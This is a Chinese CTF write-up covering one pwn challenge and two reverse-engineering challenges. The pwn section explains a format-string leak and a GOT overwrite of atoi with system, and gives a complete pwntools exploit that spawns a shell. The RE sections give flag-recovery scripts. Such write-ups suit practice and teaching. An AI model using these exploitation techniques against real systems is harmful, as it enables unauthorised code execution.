PWN

new-easypwn

main函数里看见这个程序实现增删查改的功能

进入ad函数需要输入num,name ,xize ,des四个变量,发现这里的for循环多循环了一次,存在offbyone漏洞,但是不急,继续往下看。

进入md函数发现所有的输入都没有限制长度,而且des_addr就在name的后面不远。所以我们可以通过覆盖来修改des_addr,修改其为一个危险函数的地址,从而进行调用

我们发现在menu函数里,每次都循环调用了一个atoi,我们打算通过md溢出覆盖des_addr为atoi_addr,然后用md的read函数修改atoi的内部为system。

所以我们就需要泄露libc的基地址和程序载入的基地址

在刚进入程序时发现栈中已经存在了一些有偏移的程序地址和libc地址,我们直接利用格式化字符串将其泄露出来,并且计算处所需函数的地址

newnote("%12$p%13$p","0",128, "0"*16)#0
shownote(0)

process__libc = p.recvuntil("name",drop=True)[-29:-1]
process_base = int(process__libc[:14].ljust(8,b'\x00'),16) - 0x12a0#__libc_csu_init
libc__libc_start_main_off = libc.symbols["__libc_start_main"]
leak = libc_base = int(process__libc[14:].ljust(8,b'\x00'),16)
libc_base = int(process__libc[14:].ljust(8,b'\x00'),16) - libc__libc_start_main_off - 240

print('leak:',hex(leak))
print('process_base:',hex(process_base))
print('libc_base:',hex(libc_base))


system = libc_base + libc.sym['system']
print('system:',hex(system))
atoi_got = hello.got['atoi']+process_base
print('atoi_got:',hex(atoi_got))

然后通过溢出修改des_info_addr为atoi_addr,并且修改atoi内部为system

overwrite_name_payload = b"a"*13 + p64(atoi_got)

editnote(0, '0',overwrite_name_payload,p64(system)) #id,num,name,des

p.recvuntil('your choice>>')
p.sendline('/bin/sh')

最后发送/bin/sh即可getshell

#! /usr/bin/python3
from pwn import *
elf = ELF('./hello')
p = process('./hello')
#p = remote("61.147.171.105",53706)
hello = ELF('./hello')
#libc = ELF('./libc-2.23.so')
libc = elf.libc
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
#context.terminal = ['tmux','sp','-h']


def newnote(number, name,size,des):
    p.recvuntil('your choice>>')
    p.sendline('1')
    p.recvuntil('phone number:')
    p.sendline(number)
    p.recvuntil('name:')
    p.sendline(name)
    p.recvuntil('size:')
    p.sendline(str(size))
    p.recvuntil('des info:')
    p.sendline(des)

def shownote(id):
    p.recvuntil('your choice>>')
    p.sendline('3')
    p.recvuntil('index:')
    p.sendline(str(id))

def editnote(id,num,name,des):
    p.recvuntil('your choice>>')
    p.sendline('4')
    p.recvuntil('index:')
    p.sendline(str(id))
    p.recvuntil('number:')
    p.sendline(num)
    p.recvuntil('name:')
    p.sendline(name)
    p.recvuntil('des info:')
    p.sendline(des)

def deletenote(id):
    p.recvuntil('your choice>>')
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(id))
gdb.attach(p)
#pause()# debug  0x2020A0
# leak process base libc base
newnote("%12$p%13$p","0",128, "0"*16)#0
shownote(0)

process__libc = p.recvuntil("name",drop=True)[-29:-1]
process_base = int(process__libc[:14].ljust(8,b'\x00'),16) - 0x12a0#__libc_csu_init
libc__libc_start_main_off = libc.symbols["__libc_start_main"]
leak = libc_base = int(process__libc[14:].ljust(8,b'\x00'),16)
libc_base = int(process__libc[14:].ljust(8,b'\x00'),16) - libc__libc_start_main_off - 240

print('leak:',hex(leak))
print('process_base:',hex(process_base))
print('libc_base:',hex(libc_base))


system = libc_base + libc.sym['system']
print('system:',hex(system))
atoi_got = hello.got['atoi']+process_base
print('atoi_got:',hex(atoi_got))


overwrite_name_payload = b"a"*13 + p64(atoi_got)

editnote(0, '0',overwrite_name_payload,p64(system)) #id,num,name,des

p.recvuntil('your choice>>')
p.sendline('/bin/sh')
p.interactive()

p.interactive()

RE

666

直接进入encode函数发现是个异或,我们只需要再异或一次就可以完成解密了

利用脚本跑出结果

ord : 取ascii码
append : 列表末尾添加元素

enflag = 'izwhroz""w"v.K".Ni'
key = 0x12
v = []
flag = []
for i in range (0,key , 3):
   a = (ord(enflag[i]) ^ key) -6
   b = (ord(enflag[i+1]) ^ key)  +6
   c = ord(enflag[i+2]) ^ 6 ^ key
   v.append(a)
   v.append(b)
   v.append(c)

for i in v :
    flag += chr(i)



print(flag)

流浪者

根据字符串找到函数验证密码的位置,分析程序可以发现程序逻辑,exp如下:

#include <iostream>
using namespace std;
int main()
{
    char password[] = { "KanXueCTF2019JustForhappy" };
    char key[] = { "abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ" };

    //cout << sizeof(password) << endl;
    for (int i = 0; i < sizeof(password); i++)
    {
        for (int j = 0; j < sizeof(key); j++)
        {
            if (key[j] == password[i])
            {
                printf("%d ", j);

            }
        }
    }

    int pw[] = { 19, 0, 27 ,59, 44, 4, 11, 55, 14, 30, 28, 29, 37, 18, 44, 42, 43, 14, 38, 41, 7, 0 ,39 ,39 ,48, 62 };
    int pw2[sizeof(pw)] = {0};
    char str[50] = {0};
    //57-48 = 9    字符
    //97-87 = 10       122-87 = 35   
    //65-29 = 36        90-29 = 61   

    int v5[] = { 19, 0, 27 ,59, 44, 4, 11, 55, 14, 30, 28, 29, 37, 18, 44, 42, 43, 14, 38, 41, 7, 0 ,39 ,39 ,48, 62 };
    char Str[sizeof(v5)/4] = "";
    cout << sizeof(v5) / 4 << endl;

    for (int i = 0; i < sizeof(v5)/4; ++i)
    {
        if (v5[i] + 48 > 57 || v5[i] + 48 < 48)           // 非数字
        {
            if (v5[i] + 87 > 122 || v5[i] + 87 < 97)        // 非小写字母
            {
                if (v5[i] + 29 > 90 || v5[i] + 29 < 65)       // 非大写字母
                    //Str[i] = v5[i] + 29;
                    ;
                else
                    Str[i] = v5[i] + 29;                  // 大写
            }
            else
            {
                Str[i] = v5[i] + 87;                    // 小写
            }
        }
        else
        {
            Str[i]= v5[i] + 48;                      // 是数字
        }
    }
    for (int i = 0; i <sizeof(v5)/4; i++)
    {
        printf("%c", Str[i]);
    }
    return 0;
}